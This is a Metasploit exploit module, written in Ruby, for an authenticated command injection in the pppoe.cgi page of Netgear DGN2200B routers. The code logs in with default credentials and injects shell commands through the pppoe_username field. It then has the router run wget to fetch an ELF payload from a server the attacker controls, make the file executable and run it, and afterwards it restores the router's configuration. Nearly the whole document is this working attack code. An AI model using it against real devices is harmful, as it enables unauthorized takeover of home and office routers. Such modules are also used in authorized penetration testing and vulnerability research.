Netgear DGN2200B pppoe.cgi Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Netgear DGN2200B pppoe.cgi Remote Command Execution',  
'Description' => %q{  
Some Netgear Routers are vulnerable to an authenticated OS command injection  
on their web interface. Default credentials for the web interface are admin/admin  
or admin/password. Since it is a blind os command injection vulnerability, there  
is no output for the executed command when using the cmd generic payload. A ping  
command against a controlled system could be used for testing purposes. This module  
overwrites parts of the PPOE configuration, while the module tries to restore it  
after exploitation configuration backup is recommended.  
},  
'Author' =>  
[  
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module  
'juan vazquez' # minor help with msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '57998' ],  
[ 'EDB', '24513' ],  
[ 'OSVDB', '90320' ],  
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-015' ]  
],  
'DisclosureDate' => 'Feb 15 2013',  
'Privileged' => true,  
'Platform' => ['linux','unix'],  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Targets' =>  
[  
[ 'CMD',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix'  
}  
],  
[ 'Linux mipsbe Payload',  
{  
'Arch' => ARCH_MIPSBE,  
'Platform' => 'linux'  
}  
],  
],  
'DefaultTarget' => 1,  
))  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),  
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),  
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),  
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),  
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),  
OptInt.new('RELOAD_CONF_DELAY', [true, 'Time to wait to allow the remote device to load configuration', 45])  
], self.class)  
end  
  
def get_config(config, pattern)  
if config =~ /#{pattern}/  
#puts "[*] #{$1}" #debugging  
return $1  
end  
return ""  
end  
  
def grab_config(user,pass)  
print_status("#{rhost}:#{rport} - Trying to download the original configuration")  
begin  
res = send_request_cgi({  
'uri' => '/BAS_pppoe.htm',  
'method' => 'GET',  
'authorization' => basic_auth(user,pass)  
})  
if res.nil? or res.code == 404  
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")  
end  
if [200, 301, 302].include?(res.code)  
if res.body =~ /pppoe_username/  
print_good("#{rhost}:#{rport} - Successfully downloaded the configuration")  
else  
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")  
end  
else  
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")  
end  
rescue ::Rex::ConnectionError  
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")  
end  
  
@pppoe_username_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_username\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")  
@pppoe_passwd_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"password\"\ name=\"pppoe_passwd\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")  
@pppoe_servicename_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_servicename\"\ maxlength=\"63\"\ size=\"15\"\ value=\"(.*)\"><\/td")  
  
@runtest_orig = get_config(res.body, "<input\ type=\"hidden\"\ name=\"runtest\"\ value=\"(.*)\">")  
@wan_ipaddr_orig = get_config(res.body, "<INPUT\ name=wan_ipaddr\ type=hidden\ value=\ \"(.*)\">")  
@pppoe_localip_orig = get_config(res.body, "<INPUT\ name=pppoe_localip\ type=hidden\ value=\ \"(.*)\">")  
@wan_dns_sel_orig = get_config(res.body, "<INPUT\ name=wan_dns_sel\ type=hidden\ value=\ \"(.*)\">")  
@wan_dns1_pri_orig = get_config(res.body, "<INPUT\ name=wan_dns1_pri\ type=hidden\ value=\ \"(.*)\">")  
@wan_dns1_sec_orig = get_config(res.body, "<INPUT\ name=wan_dns1_sec\ type=hidden\ value=\ \"(.*)\">")  
@wan_hwaddr_sel_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_sel\ type=hidden\ value=\ \"(.*)\">")  
@wan_hwaddr_def_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_def\ type=hidden\ value=\ \"(.*)\">")  
@wan_hwaddr2_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr2\ type=hidden\ value=\ \"(.*)\">")  
@wan_hwaddr_pc_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_pc\ type=hidden\ value=\ \"(.*)\">")  
@wan_nat_orig = get_config(res.body, "<INPUT\ name=wan_nat\ type=hidden\ value=\ \"(.*)\">")  
@opendns_parental_ctrl_orig = get_config(res.body, "<INPUT\ name=opendns_parental_ctrl\ type=hidden\ value=\ \"(.*)\">")  
@pppoe_flet_sel_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_sel\ type=hidden\ value=\ \"(.*)\">")  
@pppoe_flet_type_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_type\ type=hidden\ value=\ \"(.*)\">")  
@pppoe_temp_orig = get_config(res.body, "<INPUT\ name=pppoe_temp\ type=hidden\ value=\ \"(.*)\">")  
@apply_orig = get_config(res.body, "<input\ type=\"SUBMIT\"\ name=\"apply\"\ value=(.*)\ onClick=\"return\ checkData\(\)\">")  
end  
  
def restore_conf(user,pass,uri)  
# we have used most parts of the original configuration  
# just need to restore pppoe_username  
cmd = @pppoe_username_orig  
print_status("#{rhost}:#{rport} - Asking the Netgear device to reload original configuration")  
  
res = request(cmd,user,pass,uri)  
  
if (!res)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")  
end  
  
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")  
select(nil, nil, nil, @timeout)  
end  
  
def request(cmd,user,pass,uri)  
begin  
  
#original post request  
#login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20COMMAND%20%26  
#&pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5  
#&WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen  
#&runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0  
#&wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0  
#&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05  
#&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0  
#&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0  
res = send_request_cgi(  
{  
'uri' => uri,  
'method' => 'POST',  
'authorization' => basic_auth(user,pass),  
'encode_params' => false,  
'vars_post' => {  
"login_type" => "PPPoE%28PPP+over+Ethernet%29",#default must be ok  
"pppoe_username" => cmd,  
"pppoe_passwd" => @pppoe_passwd_orig,  
"pppoe_servicename" => @pppoe_servicename_orig,  
"pppoe_dod" => "1", #default must be ok  
"pppoe_idletime" => "5", #default must be ok  
"WANAssign" => "Dynamic", #default must be ok  
"DNSAssign" => "0", #default must be ok  
"en_nat" => "1", #default must be ok  
"MACAssign" => "0", #default must be ok  
"apply" => @apply_orig,  
"runtest" => @runtest_orig,  
"wan_ipaddr" => @wan_ipaddr_orig,  
"pppoe_localip" => @pppoe_localip_orig,  
"wan_dns_sel" => @wan_dns_sel_orig,  
"wan_dns1_pri" => @wan_dns1_pri_orig,  
"wan_dns1_sec" => @wan_dns1_sec_orig,  
"wan_hwaddr_sel" => @wan_hwaddr_sel_orig,  
"wan_hwaddr_def" => @wan_hwaddr_def_orig,  
"wan_hwaddr2" => @wan_hwaddr2_orig,  
"wan_hwaddr_pc" => @wan_hwaddr_pc_orig,  
"wan_nat" => @wan_nat_orig,  
"opendns_parental_ctrl" => @opendns_parental_ctrl_orig,  
"pppoe_flet_sel" => @pppoe_flet_sel_orig,  
"pppoe_flet_type" => @pppoe_flet_type_orig,  
"pppoe_temp" => @pppoe_temp_orig,  
"opendns_parental_ctrl" => @opendns_parental_ctrl_orig  
}  
})  
return res  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")  
return nil  
end  
end  
  
def logout(user,pass)  
begin  
res = send_request_cgi({  
'uri' => '/LGO_logout.htm',  
'method' => 'GET',  
'authorization' => basic_auth(user,pass)  
})  
if res.nil? or res.code == 404  
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible")  
end  
rescue ::Rex::ConnectionError  
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")  
end  
  
end  
  
def exploit  
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))  
uri = '/pppoe.cgi'  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
@timeout = datastore['RELOAD_CONF_DELAY']  
  
#  
# testing Login  
#  
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")  
begin  
res = send_request_cgi({  
'uri' => '/',  
'method' => 'GET',  
'authorization' => basic_auth(user,pass)  
})  
if res.nil? or res.code == 404  
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")  
end  
if [200, 301, 302].include?(res.code)  
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")  
else  
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")  
end  
rescue ::Rex::ConnectionError  
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")  
end  
  
grab_config(user,pass)  
  
if target.name =~ /CMD/  
if not (datastore['CMD'])  
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")  
end  
cmd = payload.encoded  
cmd = "%26%20#{cmd}%20%26"  
res = request(cmd,user,pass,uri)  
if (!res)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")  
else  
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")  
end  
return  
end  
  
#thx to Juan for his awesome work on the mipsel elf support  
@pl = generate_payload_exe  
@elf_sent = false  
  
#  
# start our server  
#  
resource_uri = '/' + downfile  
  
if (datastore['DOWNHOST'])  
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri  
else  
#do not use SSL  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
  
#we use SRVHOST as download IP for the coming wget command.  
#SRVHOST needs a real IP address of our download host  
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")  
srv_host = Rex::Socket.source_address(rhost)  
else  
srv_host = datastore['SRVHOST']  
end  
  
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri  
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}})  
  
datastore['SSL'] = true if ssl_restore  
end  
  
#  
# download payload  
#  
print_status("#{rhost}:#{rport} - Asking the Netgear device to download and execute #{service_url}")  
#this filename is used to store the payload on the device  
filename = rand_text_alpha_lower(8)  
  
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename};chmod 777 /tmp/#{filename};/tmp/#{filename}"  
cmd = Rex::Text.uri_encode(cmd)  
cmd = "%26%20#{cmd}%20%26"  
res = request(cmd,user,pass,uri)  
if (!res)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")  
end  
  
# wait for payload download  
if (datastore['DOWNHOST'])  
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload")  
select(nil, nil, nil, datastore['HTTP_DELAY'])  
else  
wait_linux_payload  
end  
register_file_for_cleanup("/tmp/#{filename}")  
  
#  
#reload original configuration  
#  
restore_conf(user,pass,uri)  
  
#  
#lockout of the device and free the management sessions  
#  
logout(user,pass)  
end  
  
# Handle incoming requests from the server  
def on_request_uri(cli, request)  
#print_status("on_request_uri called: #{request.inspect}")  
if (not @pl)  
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")  
return  
end  
print_status("#{rhost}:#{rport} - Sending the payload to the server...")  
@elf_sent = true  
send_response(cli, @pl)  
end  
  
# wait for the data to be sent  
def wait_linux_payload  
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")  
  
waited = 0  
while (not @elf_sent)  
select(nil, nil, nil, 1)  
waited += 1  
if (waited > datastore['HTTP_DELAY'])  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")  
end  
end  
end  
  
end  
`